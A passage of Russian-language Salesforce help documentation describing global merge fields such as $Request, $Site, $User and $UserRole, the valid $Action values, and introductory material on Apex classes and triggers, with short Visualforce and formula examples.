Добавьте поле слияния $RecordType в элемент S-Control вручную.Использование:

Чтобы вернуть код текущего типа записи, воспользуйтесь примером ниже.

{$RecordType.Id}

Пример Visualforce:

Советы: • Рекомендуем использовать переменную $RecordType.Id вместо переменной
$RecordType.Name для обращения к определенному типу записи. Переменная
$RecordType.Name облегчает восприятие формулы, но требует обновления формулы
приизмененииименитипа записи, тогда как код типа записиостаетсянеизменным. Однако,
при развертыванииформулы в организациях (например, между безопасной и
производственнойсредой) рекомендуемиспользоватьпеременную $RecordType.Name,
так как организации используют разные коды.

• Рекомендуем избегать использования поля $RecordType в формулах, кроме формул
стандартных значений. Взамен, рекомендуем использовать поле слияния RecordType
(например, Account.RecordType.Name) или поле объекта RecordTypeId.

• Рекомендуем не ссылаться на поля посредством поля слияния $RecordType в формулах
кросс-объекта. Переменная $RecordType применяется только к записи, содержащей
формулу, но не к записи, охваченнойформулой. Рекомендуем использовать поле слияния
RecordType в объекте.

$Request

Глобальное поле слияния, используемое при обращении к параметру запроса по имени,
возвращающему значение.

Описание:

Добавьте поле слияния $Request в элемент S-Control вручную.Использование:

Фрагмент Title_Snippet, указанный ниже, требует наличия двух параметров ввода:
titleTheme и titleText. Данные параметры могут повторно использоваться во многих
элементах S-Control для добавления заголовка и темы страницы в HTML.

<h2
class=”{!$Request.titleTheme}.title”>

{!$Request.titleText}</h2>

Пример элемента
S-Control:
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Элемент S-Control, указанныйниже, вызываетданныйфрагментпосредствомфункции INCLUDE,
передавая параметры заголовка и темы создаваемой HTML-страницы.

<html> <head> </head> <body> {!
INCLUDE($SControl.Title_Snippet, [titleTheme =

"modern", titleText = "My Sample Title"]) } ... Insert your page specific
content

here ... </body> </html>

Рекомендуемнеиспользоватьполе слияния $Request настраницахVisualforceдляобращения
к параметрам запроса. Взамен рекомендуем использовать поле слияния $CurrentPage.

Советы:

$Resource

Типглобальногополя слияния, используемыйприобращенииктекущемустатическомуресурсу
поименина странице Visualforce. Поля слияния ресурса используютсяфункциями URLFOR для
обращения к отдельному файлу в архиве статического ресурса.

Описание:

Рекомендуемиспользоватьполе слияния $Resource дляобращенияк текущемустатическому
ресурсу. Поле должно использовать следующийформат: $Resource.имя_ресурса  (например,
$Resource.TestImage).

Использование:

Компонент Visualforce, указанный ниже, обращается к графическому файлу, загруженному как
статический ресурс и названному TestImage.

<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

Примеры
Visualforce:

Чтобыдобавить ссылкунафайлархива (например, .zip или .jar), воспользуйтесьфункцией
URLFOR. Укажите имя статического ресурса, введенное при загрузке, посредством первого
параметра, а путь к нужному файлу архива посредством второго параметра. Например:

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>

Данная глобальная переменная доступна только для страниц Visualforce.Советы:

$SControl

Важное замечание: Элементы S-Control заменены страницами Visualforce. Элементы S-Control не могут быть созданы
организациями, где они ранее не использовались. Текущие элементы S-Control останутся без изменений и будут
доступны для редактирования.

Тип глобального поля слияния, используемый при обращении к текущему настраиваемому
элементу S-Control поимени.Поляслиянияэлемента S-Control используютсяфункциями LINKTO,
INCLUDE и URLFOR для обращения к одному из настраиваемых элементов S-Control.

Описание:

Использование: 1. Выберите тип поля: $SControl.
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2. Выберите элемент S-Control для вставки соответствующего поля слияния (например,
$Scontrol.Header_Snippet).

Элемент S-Control, указанный ниже, обращается к фрагменту в поле слияния
$Scontrol.Header_Snippet.

<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title",

theme = "modern"])} </body> </html>

Пример элемента
S-Control:

Чтобы добавить ссылку на элемент S-Control по имени HelloWorld на странице Visualforce,
воспользуйтесь примером ниже.

<apex:page>
<apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld

Пример Visualforce:

s-control</apex:outputLink>
</apex:page>

Обратите внимание, что элемент S-Control может быть добавлен на страницу посредством тега
<apex:scontrol> без поля слияния $SControl. Например:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

Советы: • Раскрывающийсясписок «Вставить поле слияния» содержитвсенастраиваемыеэлементы
S-Control, кроме фрагментов. Фрагменты являются элементами S-Control, но используют
другой алгоритм работы. Например, фрагмент недоступен функции URLFOR напрямую;
фрагментынедоступныприсозданиинастраиваемойкнопкиилиссылки, содержащейполе
настраиваемого элемента S-Control «Источник содержимого»; фрагменты не могут быть
добавлены в макеты страниц. Чтобы вставить фрагмент в элемент S-Control, воспользуйтесь
раскрывающейся кнопкой «Вставить фрагмент».

• Данная глобальная переменная доступна только для настраиваемых кнопок и ссылок,
элементов S-Control и страниц Visualforce.

$Setup

Тип глобального поля слияния, используемый при обращении к настраиваемому параметру
типа «иерархия».

Описание:

Рекомендуем использовать глобальную переменную $Setup для доступа к настраиваемым
параметрам иерархии и значениям их полей посредством точечного обозначения. Например,
$Setup.App_Prefs__c.Show_Help_Content__c.

Использование:

Настраиваемыепараметрыиерархииподдерживаютзначенияналюбомизтрехразныхуровней.

1. Организация (стандартное значение для всех пользователей)

2. Профиль (переопределяет значение на уровне организации)

3. Пользователь (переопределяет значения на уровне организации и профиля)
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Система Salesforce автоматически определяет правильное значение для данного поля
настраиваемого параметра на основе текущего контекста текущего пользователя.

{!$Setup.CustomSettingName__c.CustomFieldName__c}
Пример поля
формулы:

В отличие от настраиваемых параметров иерархии, настраиваемые параметры списка не
поддерживают поля формулы.

Чтобы просмотреть способ условного отображения расширенного справочного сообщения
для поля ввода на основе заданных параметров, воспользуйтесь примером ниже.

<apex:page>
<apex:inputField value="{!usr.Workstation_Height__c}"/>

Пример Visualforce:

<apex:outputPanel id="helpWorkstationHeight"
rendered="{!$Setup.App_Prefs__c.Show_Help_Content__c}">
Enter the height for your workstation in inches, measured from

the
floor to top of the work surface.

</apex:outputPanel>
...

</apex:page>

Еслинастраиваемомупараметру заданозначение true науровнеорганизации, торасширенное
справочное сообщение отображается по умолчанию. Если настраиваемому параметру задано
значение false на уровне пользователя, то справочные сообщения не отображаются, так как
данное значение переопределяет значение, заданное на уровне организации (или профиля).

Настраиваемые параметры типа «список» недоступны на страницах Visualforce, использующих
данную глобальную переменную. Данные настраиваемые параметры доступны в Apex.

Данная глобальнаяпеременная доступна толькодля страницVisualforce, полейформулы, правил
проверки, формул потока и формул процесса.

Советы:

$Site

Тип глобального поля слияния, используемый при обращении к сведениям о текущем сайте
Force.com.

Описание:

Рекомендуем использовать точечное обозначение для доступа к сведениям о текущем сайте
Force.com. Обратите внимание, что доступны только перечисленные ниже поля сайта.

ОписаниеПоле слияния

Использование:

Возвращает API-имя текущего сайта.$Site.Name

Возвращает имя домена Force.com для организации.$Site.Domain

Возвращает настраиваемый URL-адрес запроса (при
отсутствии компонента force.com) или основной

$Site.CustomWebAddress

настраиваемый URL-адрес сайта. При отсутствии обоих
URL-адресов данное поле слияния возвращает пустую
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ОписаниеПоле слияния

строку. Обратите внимание, что путь URL-адреса всегда
является корневым (даже при наличии префикса пути в
настраиваемом URL-адресе запроса). Еслитекущийзапрос
не является запросом сайта, то данное поле возвращает
пустуюстроку. Значениеданногополявсегдазаканчивается
символом /. Использование поля слияния
$Site.CustomWebAddress нежелательно. Рекомендуем
заменить его полем слияния $Site.BaseCustomUrl.

Возвращает исходный URL-адрес страницы, являющейся
специальной страницей ошибок; в противном случае
возвращает значение null.

$Site.OriginalUrl

Возвращает основной URL-адрес текущего сайта, который
должен использоваться ссылками. Обратите внимание,

$Site.CurrentSiteUrl

чтоданноеполеможетвозвращать URL-адресссылающейся
страницы взамен URL-адреса текущего запроса. Значение
данного поля содержит префикс пути и всегда
заканчивается символом /. Если текущий запрос не
являетсязапросомсайта, тоданноеполевозвращаетпустую
строку. Использование поля слияния $Site.CurrentSiteUrl
нежелательно. Рекомендуем заменить его полем слияния
$Site.BaseUrl.

Возвращает значение «истина», если текущийсайт связан
сактивнымпорталом, поддерживающимвход; впротивном
случае возвращает значение «ложь».

$Site.LoginEnabled

Возвращает значение «истина», если текущийсайт связан
с активным клиентским порталом, поддерживающим

$Site.RegistrationEnabled

самостоятельную регистрацию; в противном случае
возвращает значение «ложь».

Для проверенных пользователей: возвращает значение
«истина», если срок действия пароля вошедшего

$Site.IsPasswordExpired

пользователя истек. Для непроверенных пользователей:
возвращает значение «ложь».

Возвращает значение поля «Контакт для сайта» для
текущего сайта.

$Site.AdminEmailAddress

Возвращает префикс пути URL-адреса текущего сайта.
Например, при использовании URL-адреса сайта

$Site.Prefix

myco.force.com/partners префиксомпутиявляется
компонент /partners. Возвращаетзначение null при
отсутствии префикса. Если текущий запрос не является
запросомсайта, тоданноеполе возвращаетпустуюстроку.
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ОписаниеПоле слияния

Возвращает имя шаблона, связанного с текущим сайтом;
в противном случае возвращает стандартныйшаблон.

$Site.Template

Возвращаетсообщениеобошибкедля текущейстраницы,
являющейсяспециальнойстраницейошибок, приналичии
ошибки; в противном случае возвращает пустую строку.

$Site.ErrorMessage

Возвращает описание ошибки для текущей страницы,
являющейсяспециальнойстраницейошибок, приналичии
ошибки; в противном случае возвращает пустую строку.

$Site.ErrorDescription

Кодотслеживания, связанныйссайтом. Данныйкодможет
использоваться службами (например, Google Analytics) для
отслеживания данных по запросам страницы сайта.

$Site.AnalyticsTrackingCode

Возвращает основной URL-адрес для текущего сайта,
который не использует субдомена Force.com.

$Site.BaseCustomUrl

Возвращенный URL-адрес использует протокол (HTTP или
HTTPS) текущего запроса, при условии, что сайт содержит
как минимум один настраиваемый URL-адрес, который не
принадлежит Force.com, ноподдерживаетпротокол HTTPS.
Возвращенное значение никогда не заканчивается
символом /. Если все настраиваемые URL-адреса данного
сайта заканчиваются компонентом force.com или
данный сайт не содержит настраиваемых URL-адресов, то
данное поле слияния возвращает пустую строку. Если
текущий запрос не является запросом сайта, то данный
метод возвращает пустую строку.

Данное поле заменяет поле CustomWebAddress и
содержит префикс пути настраиваемого URL-адреса.

Возвращает основной URL-адрес для текущего сайта,
который заменяет протокол HTTPS протоколом HTTP. При

$Site.BaseInsecureUrl

этомиспользуетсядоментекущегозапроса. Возвращенное
значение содержит префикс пути и никогда не
заканчивается символом /. Если текущий запрос не
является запросом сайта, то данный метод возвращает
пустую строку.

Возвращает основной URL-адрес текущего сайта для
запрошенного URL-адреса. Данное значениене зависит от

$Site.BaseRequestUrl

URL-адреса ссылающейся страницы. Возвращенный
URL-адресиспользуетпротокол (HTTP или HTTPS) текущего
запроса. Возвращенное значениесодержитпрефикспути
и никогда не заканчивается символом /. Если текущий
запрос не является запросом сайта, то данный метод
возвращает пустую строку.
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ОписаниеПоле слияния

Возвращает основной URL-адрес для текущего сайта,
который заменяет протокол HTTP протоколом HTTPS. При

$Site.BaseSecureUrl

этом используется домен текущего запроса,
поддерживающий протокол HTTPS. Рекомендуем
использовать домены, которые не являются субдоменами
Force.com, взамен субдоменов Force.com. Субдомен
Force.com, связанный с сайтом, используется только при
отсутствии других доменов HTTPS на текущем сайте. Если
сайт не содержит настраиваемых URL-адресов HTTPS, то
данный метод возвращает пустую строку. Возвращенное
значение содержит префикс пути и никогда не
заканчивается символом /. Если текущий запрос не
является запросом сайта, то данный метод возвращает
пустую строку.

Возвращает основной URL-адрес текущего сайта, который
должен использоваться ссылками. Обратите внимание,

$Site.BaseUrl

чтоданноеполеможетвозвращать URL-адресссылающейся
страницы взамен URL-адреса текущего запроса. Значение
данного поля содержит префикс пути и никогда не
заканчивается символом /. Если текущий запрос не
являетсязапросомсайта, тоданноеполевозвращаетпустую
строку.

Данное поле заменяет поле слияния $Site.CurrentSiteUrl.

Возвращает значениеполя «Основнаяметка» для текущего
сайта. Если текущий запрос не является запросом сайта,
то данное поле возвращает пустую строку.

$Site.MasterLabel

Возвращает код текущего сайта. Если текущий запрос не
являетсязапросомсайта, тоданноеполевозвращаетпустую
строку.

$Site.SiteId

Возвращает значение API поля «Тип сайта» для текущего
сайта. Если текущий запрос не является запросом сайта,
то данное поле возвращает пустую строку.

$Site.SiteType

Возвращает значениеметкиполя «Типсайта» длятекущего
сайта. Если текущий запрос не является запросом сайта,
то данное поле возвращает пустую строку.

$Site.SiteTypeLabel

Чтобы просмотреть способ использования поля слияния $Site.Template, воспользуйтесь
примером ниже.

<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">

Пример Visualforce:
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<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">

<apex:define name="body">
<apex:form>

<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return

false;"/>
<br/>
<br/>
<center>

<apex:outputText value="Your application has been saved.

Thank you for your interest!"/>
</center>
<br/>
<br/>

</apex:form>
</apex:define>

</apex:composition>
</apex:page>

Данная глобальная переменная доступна только для страниц Visualforce, шаблонов эл. почты и
элементов S-Control.

Советы:

$System.OriginDateTime

Глобальное поле слияния, представляющее литеральное значение даты/времени 1900-01-01
00:00:00.Рекомендуемиспользоватьданнуюглобальнуюпеременнуюпривычислениисмещения
даты/времени или назначении литерального значения полю даты/времени.

Описание:

Использование: 1. Выберите тип поля: $System.

2. Выберитезначение OriginDateTime враскрывающемсясписке «Вставить поле слияния».

Чтобы просмотреть способ преобразования поля даты в поле даты/времени, воспользуйтесь
примером ниже. Данная формула использует дату в поле слияния OriginDateTime для

Примерформулы:

извлечения количества дней, так как настраиваемое поле называется My Date Field. Затем,
формула добавляет количество дней в значение поля слияния OriginDateTime.

$System.OriginDatetime + ( My_Date_Field__c -
DATEVALUE($System.OriginDatetime) )

Прим.: Значениеполяслияния OriginDateTime указываетсяпоГринвичу, норезультат
отображается по локальному часовому поясу пользователя.
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Чтобывычислить количество дней, прошедших с 1 января 1900 года, воспользуйтесьпримером
ниже.

{!NOW() - $System.OriginDateTime}

Пример потока,
процесса и
Visualforce:

Данная глобальная переменная доступна в компонентах:Советы:

• Стандартные значения

• Формулы в настраиваемых полях, потоках, процессах и бизнес-правилах

• Действия обновления поля бизнес-правила

• Страницы Visualforce и элементы S-Control

$User

Типглобальногополяслияния, используемыйприобращениикданнымотекущемпользователе.
Поля слияния пользователя позволяют обращаться к сведениям о пользователе (например,
псевдоним, должность и код).

Описание:

Использование: 1. Выберите тип поля: $User.

2. Выберите поле слияния. Например: $User.Username.

Формула правила проверки, указанная ниже, обращается к коду текущего пользователя для
определенияответственногоза запись. Подобныйпримерпозволяет гарантироватьдоступность

Пример правила
проверки:

настраиваемого поля «Личная цель» для изменения только ответственному за запись или
пользователям с профилем администратора.

AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id, $Profile.Name <>

"Custom: System Admin" )

Чтобы быстро просмотреть имя текущего пользователя, воспользуйтесь формулой потока.
Рекомендуем создать формулу потока (текстовую), содержащую выражение ниже.

{!$User.FirstName} & “ “ & {!$User.LastName}

Пример потока:

Созданнаяформуламожетиспользоватьсялюбымиобластямипотока, гдепользовательдолжен
вызыватьсяпоимени. Добавление ссылкина глобальнуюпеременную $User позволяетизбежать
использования поиска, учитываемого ограничениями для потоков.

Чтобы просмотреть название компании и статус текущего пользователя, возвращающий
логическое значение, воспользуйтесь примером ниже.

<apex:page>
<h1>Congratulations</h1>

Пример Visualforce:

This is your new Apex Page
<p>The current company name for this

user is: {!$User.CompanyName}</p>
<p>Is the user active?
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{!$User.isActive}</p>
</apex:page>

Советы: • Текущий пользователь — это пользователь, изменяющий запись, которая вызывает
стандартное значение, правило проверки или другую операцию, использующую данные
глобальные поля слияния.

• Еслизаписьизменяетсяпроцессом Web-to-Lead или Web-to-Case, тоимятекущегопользователя
отображается в поле «Ответственный за интерес по умолчанию» или «Ответственный
за обращение по умолчанию».

• Придеактивациипользователя, запустившегопроцесс, которыйвыполняетзапланированные
действия, глобальная переменная $User ссылается на пользователя бизнес-правил по
умолчанию. Аналогичныйалгоритмприменяетсядляконтролируемыхповременидействий
в бизнес-правилах.

• Некоторыеполя слияния $User могутиспользоватьсяфильтрамимобильнойконфигурации.

$User.UITheme и $User.UIThemeDisplayed

Данные глобальные поля слияния определяют внешний вид системы Salesforce на конкретной
веб-странице.

В отличие от переменной $User.UITheme, возвращающей предполагаемый внешний вид,
переменная $User.UIThemeDisplayed возвращает фактический внешний вид. Например,

Описание:

если пользователь может просматривать тему пользовательского интерфейса Salesforce Classic
2010, но использует обозреватель, который не поддерживает обновленный внешний вид
(используя устаревшие версии Internet Explorer), то переменная $User.UIThemeDisplayed
возвращает другое значение.

Рекомендуем использовать данные переменные для определения каскадной таблицы стилей,
используемой для отображения веб-страниц Salesforce. Ниже перечислены значения,
возвращаемые обеими переменными.

Использование:

• Theme1: устаревшая тема Salesforce

• Theme2: тема пользовательского интерфейса Salesforce Classic 2005

• Theme3: тема пользовательского интерфейса Salesforce Classic 2010

• Theme4d: современная тема «Lightning Experience» Salesforce

• Theme4t: тема Salesforce1 для мобильной версии Salesforce

• PortalDefault: тема клиентского портала Salesforce

• Webstore: тема Salesforce AppExchange

Чтобы просмотреть способы отображения разных макетов на основе темы пользователя,
воспользуйтесь примером ниже.

<apex:page>
<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==

Пример Visualforce:

'Theme2'}">
// this is the old theme...
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</apex:pageBlock>

<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==
'Theme3'}">

// this is the classic theme ...
</apex:pageBlock>

</apex:page>

$UserRole

Тип глобального поля слияния, используемый при обращении к сведениям о роли текущего
пользователя. Поля слияния роли позволяют обращаться к сведениям о роли (например, имя,
описание и код).

Описание:

Использование: 1. Выберите тип поля: $UserRole.

2. Выберите поле слияния. Например: $UserRole.Name.

Формулаправилапроверки, указаннаяниже, обращаетсякимениролипользователядляпроверки
настраиваемого поля «Процент скидки», значение которого не должно превышать
максимального значения, заданного для данной роли.

Discount_Percent__c > VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Пример правила
проверки:

{!$UserRole.LastModifiedById}
Процесс, поток и
Visualforce:

Советы: • Текущий пользователь — это пользователь, изменяющий запись, которая вызывает
стандартное значение, правило проверки или другую операцию, использующую данные
глобальные поля слияния.

• Еслизаписьизменяетсяпроцессом Web-to-Lead или Web-to-Case, тоимятекущегопользователя
отображается в поле «Ответственный за интерес по умолчанию» или «Ответственный
за обращение по умолчанию».

• Придеактивациипользователя, запустившегопроцесс, которыйвыполняетзапланированные
действия, глобальная переменная $UserRole ссылается на роль пользователя бизнес-правил
по умолчанию. Аналогичный алгоритм применяется для контролируемых по времени
действий в бизнес-правилах.

Прим.: Ниже перечислены значения поля слияния $UserRole, которые не могут
использоваться в Visualforce.

• CaseAccessForAccountOwner

• ContactAccessForAccountOwner

• OpportunityAccessForAccountOwner
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• PortalType

СМ. ТАКЖЕ:

Допустимые значения для глобальной переменной $Action

Допустимые значения для глобальной переменной $Action

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Глобальная переменная
$Action доступна в
версиях: все версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control, формул или
страниц Visualforce:
• «Настройка

приложения»

В таблице ниже перечислены действия, поддерживаемые глобальной переменной
$Action, а также объекты, поддерживающие данные действия. Все объекты
поддерживают основные действия (например, создание, клонирование, просмотр,
редактирование, перечислениеиудаление). Крометого, глобальнаяпеременная $Action
ссылаетсянадействия, доступныедлямногихстандартныхобъектов. Доступныезначения
определяются функциями, включенными в организации.

ОбъектыОписаниеЗначение

Принятие записи.Accept • Группа объявлений

• Обращение

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Поисковая фраза

• Версия SFGA

• Текстовое объявление

КонтрактАктивация контракта.Activate

ПродуктДобавление продукта в
прайс-лист.

Add

КампанияДобавление участника в
кампанию.

AddCampaign

ВозможностьДобавление кампании в
список влияющих
кампаний возможности.

AddInfluence

OpportunityLineItemДобавление продукта в
прайс-лист.

AddProduct

Добавление контакта или
интереса в кампанию.

AddToCampaign • Контакт

• Интерес

СобытиеДобавление события в
Microsoft Outlook.

AddToOutlook
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КампанияНачало расширенной настройки
кампании.

AdvancedSetup

Открытие веб-узла
www.altavista.com/news/.

AltavistaNews • Организация

• Интерес

СобытиеОтмена события.Cancel

РешениеВыбор обращения для решения.CaseSelect

Изменение ответственного за запись.ChangeOwner • Организация

• Группа объявлений

• Кампания

• Обращение

• Контакт

• Контракт

• Кампания Google

• Ключевое слово

• Интересы

• Возможности

• Поисковая фраза

• Версия SFGA

• Текстовое объявление

Изменение статуса обращения.ChangeStatus • Обращение

• Интерес

OpportunityLineItemВыбор нужного прайс-листа.ChoosePricebook

Клонирование записи.Clone • Группа объявлений

• Актив

• Кампания

• Участник кампании

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт

• Поисковая фраза
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• Версия SFGA

• Текстовое объявление

• Настраиваемые объекты

ОбращениеСоздание связанного обращения со
сведениями о родительском
обращении.

CloneAsChild

ОбращениеЗакрытие обращения.CloseCase

ИнтересСоздание организации, контакта или
возможности на основе сведений,
полученных от интереса.

Convert

Участник кампанииПреобразование интереса в участника
кампании.

ConvertLead

Участник кампанииСоздание возможности на основе
участника кампании.

Create_Opportunity

СобытиеОтклонение события.Decline

Удаление записи.Delete • Группа объявлений

• Актив

• Кампания

• Участник кампании

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт возможности

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Задача

• Текстовое объявление

• Настраиваемые объекты

Удалениепоследовательностисобытий
или задач.

DeleteSeries • Событие

• Задача
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КонтактОтключениепользователяклиентского
портала.

DisableCustomerPortal

ОрганизацияОтключениеорганизацииклиентского
портала.

DisableCustomerPortalAccount

КонтактОтключение пользователя
партнерского портала.

DisablePartnerPortal

ОрганизацияОтключение организации
партнерского портала.

DisablePartnerPortalAccount

Загрузка вложения.Download • Вложение

• Документ

Редактирование записи.Edit • Группа объявлений

• Актив

• Кампания

• Участник кампании

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт возможности

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Задача

• Текстовое объявление

• Настраиваемые объекты

OpportunityLineItemРедактирование всех продуктов в
прайс-листе.

EditAllProduct

ОрганизацияНазначение организации в качестве
партнера.

EnableAsPartner

КонтактВключение контакта в качестве
пользователя партнерского портала.

EnablePartnerPortalUser
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КонтактАктивация контакта в качестве
пользователя портала
самообслуживания.

EnableSelfService

ИнтересОтображение повторяющихся
интересов.

FindDup

СобытиеСоздание события для выполнения.FollowupEvent

СобытиеСоздание задачи для выполнения.FollowupTask

Отображение профиля Hoovers.HooversProfile • Организация

• Интерес

ОрганизацияДобавление записи организации в
приложение Connect Offline.

IncludeOffline

Добавление адреса на карты Google.GoogleMaps • Организация

• Контакт

• Интерес

Отображение страницы
www.google.com/news.

GoogleNews • Организация

• Контакт

• Интерес

Отображение страницы
www.google.com.

GoogleSearch • Организация

• Контакт

• Интерес

Составление списка записей объекта.List • Группа объявлений

• Кампания

• Обращение

• Контакт

• Контракт

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Текстовое объявление

• Настраиваемые объекты
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ДействиеРегистрация вызова.LogCall

ДействиеСоздание стандартных писем.MailMerge

КампанияОткрытие страницы «Управление
участниками».

ManageMembers

ОбращениеПакетное закрытие обращений.MassClose

КонтактОбъединение контактов.Merge

Создание записи.New • Действие

• Группа объявлений

• Актив

• Кампания

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Поисковая фраза

• Версия SFGA

• Решение

• Задача

• Текстовое объявление

• Настраиваемые объекты

ЗадачаСоздание задачи.NewTask

Отправка запроса на обновление.RequestUpdate • Контакт

• Действие

РешениеРегистрация пользователя в качестве
пользователя портала
самообслуживания.

SelfServSelect

ДействиеОтправка сообщения эл. почты.SendEmail

Открытие пустого сообщения эл.
почты Gmail.

SendGmail • Контакт

• Интерес

OpportunityLineItemСортировка продуктов в прайс-листе.Sort
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Предоставление общего доступа к
записи.

Share • Организация

• Группа объявлений

• Кампания

• Обращение

• Контакт

• Контракт

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Поисковая фраза

• Версия SFGA

• Текстовое объявление

Отправка записи на утверждение.Submit for Approval • Организация

• Действие

• Группа объявлений

• Актив

• Кампания

• Участник кампании

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт возможности

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Задача

• Текстовое объявление

Предоставление доступа ко вкладке
объекта.

Tab • Группа объявлений

• Кампания

• Обращение
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• Контакт

• Контракт

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Текстовое объявление

Просмотр записи.View • Действие

• Группа объявлений

• Актив

• Кампания

• Участник кампании

• Обращение

• Контакт

• Контракт

• Событие

• Кампания Google

• Ключевое слово

• Интерес

• Возможность

• Продукт возможности

• Продукт

• Поисковая фраза

• Версия SFGA

• Решение

• Текстовое объявление

• Настраиваемые объекты

КампанияСоставление списка всех участников
кампании.

ViewAllCampaignMembers

КампанияОтображение отчета «Кампании с
находящимися под влиянием
возможностями».

ViewCampaignInfluenceReport

КонтактСоставление списка всех
пользователей партнерского портала.

ViewPartnerPortalUser
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КонтактСоставление списка всех
пользователей портала
самообслуживания.

ViewSelfService

Добавление адреса на карты Yahoo!.YahooMaps • Организация

• Контакт

• Интерес

КонтактОтображение страницы
http://weather.yahoo.com/.

YahooWeather

СМ. ТАКЖЕ:

Глобальные переменные

Код Apex

Общие сведения о коде Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Apex — этостроготипизированныйобъектно-ориентированныйязыкпрограммирования,
позволяющий разработчикам выполнять операторы управления транзакциями и
потоками на сервере платформы Force.com в сочетании с вызовами к интерфейсу
Force.comAPI. Благодаря синтаксису, напоминающему Java и действующему подобно
хранимым процедурам базы данных, Apex позволяет разработчикам добавлять
бизнес-логику в основные системные события, включая нажатия кнопок, обновления
связанных записейистраницыVisualforce. КодApexможетбытьинициирован запросами
веб-службы и триггерами объектов.

Apex может храниться на платформе в двух разных формах.

• Класс — этошаблонилиобразец, используемыйдля созданияобъектовApex. Классы
состоят из других классов, заданных пользователем методов, переменных, типов
исключений и статического кода инициализации. Введите строку «Классы Apex»

в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы Apex».
См. раздел «Управление классами Apex» на странице 5610.

• Триггер — это код Apex, который выполняется перед некоторым событием языка манипулирования данными (DML)
или после него (например, перед вставкой записи объекта в базу данных или после удаления записи). Триггеры
хранятся в системе Salesforce в качествеметаданных. Списоквсех триггеровв вашейорганизациинаходитсяна странице
«Триггеры Apex» в разделе «Настройка». См. раздел «Управление триггерами Apex» на странице 5612.

Как правило, Apex выполняется в контексте системы, то есть, полномочия текущего пользователя, безопасность поля и
правила общего доступа не учитываются во время выполнения кода.

Прежде чем развернуть код Apex в производственных средах, убедитесь, что поблочные тесты охватывают не менее 75%
кода. Кроме того, всем триггерам должно отводиться некоторое тестовое покрытие. См. раздел «Общие сведения о
поблочных тестах Apex» на странице 5865.

Чтобы повторить выполнение после создания классов, триггеров и тестов, воспользуйтесь консолью разработчика.

Прим.: Добавление, редактированиеиудалениеApexпосредствомпользовательскогоинтерфейсаSalesforceдоступно
толькоорганизациям Developer Edition, пробныморганизациямSalesforce Enterprise Edition ибезопасныморганизациям.
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ПроизводственнаяорганизацияSalesforceпозволяетизменятьApex толькопосредствомвызоваMetadata API (deploy),
Force.com IDE или Force.com Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемыекомпаниейSalesforceдляподдержкипользователейипартнеров. СогласноОсновномусоглашению
о подписке, данные ресурсы не относятся к службам Salesforce.

Дополнительную информацию о синтаксисе и использовании Apex см. в Руководстве разработчика Force.com Apex Code.

Руководство разработчика Apex и инструменты разработчика
Руководство разработчика Apex — это полное справочное руководство для языка программирования Apex. Руководство
разработчика Apex также разъясняет синтаксис языка, методы вызова Apex, порядок использования ограничений, способы
создания тестов и многое другое. Чтобы создать код Apex, выберите нужный инструмент от компании Salesforce или
стороннего разработчика.

• Руководство разработчика Apex

Рекомендуем использовать данные инструменты для создания кода Apex.

• Консоль разработчика Force.com

• Модуль Force.com IDE для Eclipse

• Редактор кода в пользовательском интерфейсе Salesforce

Воспользуйтесь Интернетом для поиска интерфейсов Salesforce IDE, созданных сторонними разработчиками.

Определение классов Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

Классы Apex хранятся в системе Salesforce в качестве метаданных.

Прим.: Добавление, редактирование и удаление Apex посредством
пользовательскогоинтерфейса Salesforce доступно толькоорганизациям Developer
Edition, пробным организациям Salesforce Enterprise Edition и безопасным
организациям. Производственная организация Salesforce позволяет изменять Apex
только посредством вызоваMetadata API (deploy), Force.com IDE или Force.com
Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемые компанией Salesforce дляподдержкипользователейипартнеров.
Согласно Основному соглашению о подписке, данные ресурсы не относятся к
службам Salesforce.

